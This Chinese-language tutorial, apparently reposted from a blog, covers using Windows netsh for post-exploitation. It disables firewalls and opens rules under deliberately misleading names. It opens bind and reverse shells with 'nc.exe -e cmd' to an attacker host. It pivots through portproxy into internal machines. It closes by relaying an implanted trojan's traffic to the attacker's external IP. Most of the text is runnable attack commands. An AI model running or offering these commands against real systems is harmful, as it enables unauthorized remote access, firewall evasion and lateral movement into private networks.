文章首發公衆号:無心的夢呓
此處文章不好排版,請移步到公衆号檢視
在曆史消息中搜尋:使用netsh來進行端口轉發
目錄
0x00 簡介
0x01 2003指令介紹
0x02 2003以後指令介紹(以08為例)
0x03 實際利用案例
0x04 流量轉發
正文
0x00 簡介
netsh(Network Shell) 是一個windows系統本身提供的功能強大的網絡配置指令行工具(來源于百度百科)。
注:
以下所有例子以三台機器為例來進行示範了
假設03和08為邊界機器,Ubuntu為内網機器
win2003 192.168.191.128
win2008 192.168.191.131
Ubuntu 192.168.191.130
PS:為了幫助大家了解,03和08的例子采用了兩種檢視指令執行結果的方式
0x01 2003指令介紹
基本介紹
netsh firewall show state 檢視系統防火牆狀态
netsh firewall set opmode disable 關閉防火牆
netsh firewall set opmode enable 開啟防火牆
設定進出站規則
根據端口
netsh firewall add portopening 協定 端口 名字
協定:TCP/UDP/ALL
端口:1-65535
名字:随意,最好使用一些有迷惑性的
netsh firewall add portopening tcp 333 test添加規則
netsh firewall delete portopening tcp 333 删除規則
根據程序
netsh firewall add allowedprogram 位置名字 允許與否
netsh firewall add allowedprogram c://nc.exe test enable 添加規則
netsh firewall delete allowedprogram c:\nc.exe 删除規則
部分單詞也不需要全部記住,知道開頭的内容,後面靠幫助資訊進行操作就可以了
0x02 2003以後指令介紹(以08為例)
netsh advfirewall show allprofiles 檢視所有類型的防火牆狀态
netsh advfirewall set allprofiles state off 關閉防火牆
netsh advfirewall set allprofiles state on 開啟防火牆
netsh advfirewall reset 重置防火牆規則(重置到剛裝好系統時的狀态)
設定進出站規則
根據端口
入站規則
netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=333 添加規則
netsh advfirewall firewall delete rule name=test dir=in protocol=tcp localport=333 删除規則
出站規則
netsh advfirewall firewall add rule name=test dir=out action=allow protocol=tcp localport=333 添加規則
netsh advfirewall firewall delete rule name=test dir=out protocol=tcp localport=333 删除規則
根據程序
入站規則
netsh advfirewall firewall add rule name=test dir=in action=allow program=c:\nc.exe 添加規則
netsh advfirewall firewall delete rule name=test dir=in program=c:\nc.exe 删除規則
出站規則
netsh advfirewall firewall add rule name=test dir=out action=allow program=c:\nc.exe 添加規則
netsh advfirewall firewall delete rule name=test dir=out program=c:\nc.exe 删除規則
0x03 實際利用案例(以2008為例)
正向連接配接shell
netsh advfirewall firewall add rule name=ncdir=in action=allow protocol=tcp localport=333
nc.exe -lvp 333 -e cmd
回到攻擊機上
nc.exe -nv 192.168.191.131 333
雖然暫時不明白中間的報錯是因為什麼,但是是可以成功彈回shell的
最後一定要記得删除所添加的規則
netsh advfirewall firewall delete rule name=nc protocol=tcp localport=333
反向連接配接shell
首先在本地進行監聽
nc.exe -lvp 333
然後到08的機子上,添加規則
netsh advfirewall firewall add rule name=nc dir=out action=allow protocol=tcp localport=333
然後執行
nc.exe -nv 10.1.135.96 333 -e cmd
注:這裡10.1.135.96是我本地的機子
之後就能彈回來shell
最後不要忘了順手删掉添加的規則
通過添加程序的,跟這個同理
0x04 流量轉發
位址類型設定如下
将來自333端口的流量全部轉發到192.168.191.130的22端口
netsh interface portproxy add v4tov4 listenport=333 connectaddress=192.168.191.130 connectport=22
netsh interface portproxy show all 檢視所有轉發規則
添加完成之後一定要查一下端口有沒有起來
netsh interface portproxy delete v4tov4 listenport=333 删除轉發規則
使用端口轉發來連接配接内網機器
這裡以08為例
設定進站規則
netsh advfirewall firewall add rule name=test dir=in action=allow protocol=tcp localport=333
設定流量轉發
将所有來到333端口的流量全部轉發到192.168.191.130的22端口上
netsh interface portproxy add v4tov4 listenport=333 connectaddress=192.168.191.130 connectport=22
檢視是否添加成功,端口有沒有起來
然後連接配接192.168.191.131的333端口,就是連接配接内網中192.168.191.130的22端口
在結束之後,一定要順手把添加的規則都删除掉
netsh advfirewall firewall delete rule name=test dir=in protocol=tcp localport=333
netsh interface portproxy delete v4tov4 listenport=333
如果内網機子不能正常連外網的話,也可以在邊界機器上使用流量轉發來進行連接配接,在内網機器上種馬,使其連接配接邊界機器的指定端口,然後在邊界機器将所有來自本地指定端口的流量,全部都轉發到攻擊者的外網主機上即可
即:
netsh interface portproxy add v4tov4 listenport=本地端口 listenaddress=本地IP connectaddress=攻擊者外網IP connectport=攻擊者外網端口